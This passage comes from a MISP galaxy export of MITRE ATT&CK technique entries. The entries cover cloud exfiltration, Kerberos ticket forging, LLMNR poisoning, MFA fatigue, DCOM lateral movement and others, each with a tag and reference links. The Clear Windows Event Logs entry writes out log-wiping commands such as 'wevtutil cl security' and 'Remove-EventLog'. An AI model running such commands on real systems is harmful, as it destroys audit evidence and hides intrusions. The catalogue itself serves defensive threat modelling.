An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)

The tag is: *misp-galaxy:mitre-attack-pattern="Distribute malicious software development tools - T1394"*

Table 8048. Table References

Links
https://attack.mitre.org/techniques/T1394

Transfer Data to Cloud Account - T1537

Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.

A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.(Citation: TLDRSec AWS Attacks)

Adversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.(Citation: Microsoft Azure Storage Shared Access Signature)

Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537"*

Table 8049. Table References

Links
https://attack.mitre.org/techniques/T1537
https://cdn.cnn.com/cnn/2018/images/07/13/gru.indictment.pdf
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html
https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview

https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature
https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview
https://tldrsec.com/p/blog-lesser-known-aws-attacks

Review logs and residual traces - T1358

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1358).

Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)

The tag is: *misp-galaxy:mitre-attack-pattern="Review logs and residual traces - T1358"*

Table 8050. Table References

Links
https://attack.mitre.org/techniques/T1358

Runtime code download and execution - T1395

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Runtime code download and execution - T1395"*

Table 8051. Table References

Links
https://attack.mitre.org/techniques/T1395

Test malware to evade detection - T1359

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1359).

An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)

The tag is: *misp-galaxy:mitre-attack-pattern="Test malware to evade detection - T1359"*

Table 8052. Table References

Links
https://attack.mitre.org/techniques/T1359

Replace legitimate binary with malware - T1378

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)

The tag is: *misp-galaxy:mitre-attack-pattern="Replace legitimate binary with malware - T1378"*

Table 8053. Table References

Links
https://attack.mitre.org/techniques/T1378

Compromise of externally facing system - T1388

This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.

Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise of externally facing system - T1388"*

Table 8054. Table References

Links
https://attack.mitre.org/techniques/T1388

Boot or Logon Initialization Scripts - T1398

Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts are part of the underlying operating system and are not accessible to the user unless the device has been rooted or jailbroken.

The tag is: *misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1398"*

Table 8055. Table References

Links
https://attack.mitre.org/techniques/T1398
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://source.android.com/security/verifiedboot/

Domain or Tenant Policy Modification - T1484

Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.

Modifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.

With sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:

- modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)
- modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)
- changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).
- adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)

Adversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and

then revert the change to remove suspicious indicators.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain or Tenant Policy Modification - T1484"*

Table 8056. Table References

Links
https://adsecurity.org/?p=2716
https://attack.mitre.org/techniques/T1484
https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/
https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
https://us-cert.cisa.gov/ncas/alerts/aa21-008a
https://wald0.com/?p=179
https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/

Boot or Logon Autostart Execution - T1547

Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547"*

Table 8057. Table References

Links
https://attack.mitre.org/techniques/T1547

https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf

Remotely Track Device Without Authorization - T1468

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.(Citation: Krebs-Location)

The tag is: *misp-galaxy:mitre-attack-pattern="Remotely Track Device Without Authorization - T1468"*

Table 8058. Table References

Links
https://attack.mitre.org/techniques/T1468
https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html

Steal or Forge Authentication Certificates - T1649

Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)

Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate's extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate's subject alternative name (SAN) values define the certificate owner's

alternate names.(Citation: Medium Certified Pre Owned)

Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.

Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as "golden" certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)

The tag is: *misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649"*

Table 8059. Table References

Links
https://attack.mitre.org/techniques/T1649
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11)
https://github.com/GhostPack/SharpDPAPI#certificates
https://github.com/TheWover/CertStealer
https://o365blog.com/post/deviceidentity/
https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf
https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming

Remotely Wipe Data Without Authorization - T1469

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).

The tag is: *misp-galaxy:mitre-attack-pattern="Remotely Wipe Data Without Authorization - T1469"*

Table 8060. Table References

Links
https://attack.mitre.org/techniques/T1469
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html
https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/

Install Insecure or Malicious Configuration - T1478

An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile).

For example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to adversary-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)).

On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).

The tag is: *misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478"*

Table 8061. Table References

Links
https://attack.mitre.org/techniques/T1478
https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM.html
https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html
https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security

Steal or Forge Kerberos Tickets - T1558

Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as "realms", there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to

enable unauthorized access.

On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)

The tag is: *misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558"*

Table 8062. Table References

Links
https://adsecurity.org/?p=1515
https://adsecurity.org/?p=227
https://adsecurity.org/?p=2293
https://attack.mitre.org/techniques/T1558
https://blog.stealthbits.com/detect-pass-the-ticket-attacks
https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
https://docs.microsoft.com/windows-server/administration/windows-commands/klist
https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285
https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea

Establish & Maintain Infrastructure - TA0022

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0022/).

Establishing and maintaining infrastructure consists of building, purchasing, co-opting, and maintaining systems and services used to conduct cyber operations. An adversary will need to establish infrastructure used to communicate with and control assets used throughout the course of their operations.

The tag is: *misp-galaxy:mitre-attack-pattern="Establish & Maintain Infrastructure - TA0022"*

Table 8063. Table References

Links
https://attack.mitre.org/tactics/TA0022

Aggregate individual’s digital footprint - T1275

This object is deprecated as its content has been merged into the enterprise domain. Please see the

[PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1275).

In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)

The tag is: *misp-galaxy:mitre-attack-pattern="Aggregate individual's digital footprint - T1275"*

Table 8064. Table References

Links
https://attack.mitre.org/techniques/T1275

Domain Generation Algorithms (DGA) - T1323

This technique has been deprecated. Please use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1568/002).

The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms (DGA) - T1323"*

Table 8065. Table References

Links
https://attack.mitre.org/techniques/T1323

Unconditional client-side exploitation/Injected Website/Driveby - T1372

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)

The tag is: *misp-galaxy:mitre-attack-pattern="Unconditional client-side exploitation/Injected Website/Driveby - T1372"*

Table 8066. Table References

Links
https://attack.mitre.org/techniques/T1372

LLMNR/NBT-NS Poisoning and Relay - T1171

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)

The tag is: *misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171"*

Table 8067. Table References

Links
https://attack.mitre.org/techniques/T1171
https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
https://github.com/Kevin-Robertson/Conveigh
https://github.com/SpiderLabs/Responder
https://github.com/nomex/nbnspoof
https://technet.microsoft.com/library/cc958811.aspx
https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning

OS-vendor provided communication channels - T1390

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1390).

Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)

The tag is: *misp-galaxy:mitre-attack-pattern="OS-vendor provided communication channels - T1390"*

Table 8068. Table References

Links
https://attack.mitre.org/techniques/T1390

Multi-Factor Authentication Request Generation - T1621

Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.

Adversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)

In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)

The tag is: *misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Request Generation - T1621"*

Table 8069. Table References

Links

https://attack.mitre.org/techniques/T1621
https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications
https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/
https://www.mandiant.com/resources/russian-targeting-gov-business
https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/

Rogue Wi-Fi Access Points - T1465

An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).

The tag is: *misp-galaxy:mitre-attack-pattern="Rogue Wi-Fi Access Points - T1465"*

Table 8070. Table References

Links
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf
https://attack.mitre.org/techniques/T1465
https://blog.kaspersky.com/darkhotel-apt/6613/
https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html

Protocol or Service Impersonation - T1001.003

Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.

Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity.

Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation: Malleable-C2-U42)

The tag is: *misp-galaxy:mitre-attack-pattern="Protocol or Service Impersonation - T1001.003"*

Table 8071. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

https://attack.mitre.org/techniques/T1001/003
https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/
https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf

Clear Windows Event Logs - T1070.001

Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.

With administrator privileges, the event logs can be cleared with the following utility commands:

- <code>wevtutil cl system</code>
- <code>wevtutil cl application</code>
- <code>wevtutil cl security</code>

These logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)

Adversaries may also attempt to clear logs by directly deleting the stored log files within `C:\Windows\System32\winevt\logs\`.

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001"*

Table 8072. Table References

Links
https://attack.mitre.org/techniques/T1070/001
https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog
https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil
https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx
https://ptylu.github.io/content/report/report.html?report=25

Network Share Connection Removal - T1070.005

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command.

(Citation: Technet Net Use)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005"*

Table 8073. Table References

Links
https://attack.mitre.org/techniques/T1070/005
https://technet.microsoft.com/bb490717.aspx

Distributed Component Object Model - T1021.003

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.

The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)

Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)

The tag is: *misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003"*

Table 8074. Table References

Links
https://attack.mitre.org/techniques/T1021/003

https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
https://msdn.microsoft.com/en-us/library/aa394582.aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html

Direct Cloud VM Connections - T1021.008

Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).

Methods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access.

Adversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)).

The tag is: *misp-galaxy:mitre-attack-pattern="Direct Cloud VM Connections - T1021.008"*

Table 8075. Table References

Links
https://attack.mitre.org/techniques/T1021/008
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html
https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html
https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/serial-console-overview
https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud
https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial

Remote Device Management Services - T1430.001

An adversary may use access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM)/mobile device management (MDM) server console to track the location of mobile devices managed by the service.(Citation: Krebs-Location)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Device Management Services - T1430.001"*

Table 8076. Table References

Links
https://attack.mitre.org/techniques/T1430/001
https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html

Network Device Configuration Dump - T1602.002

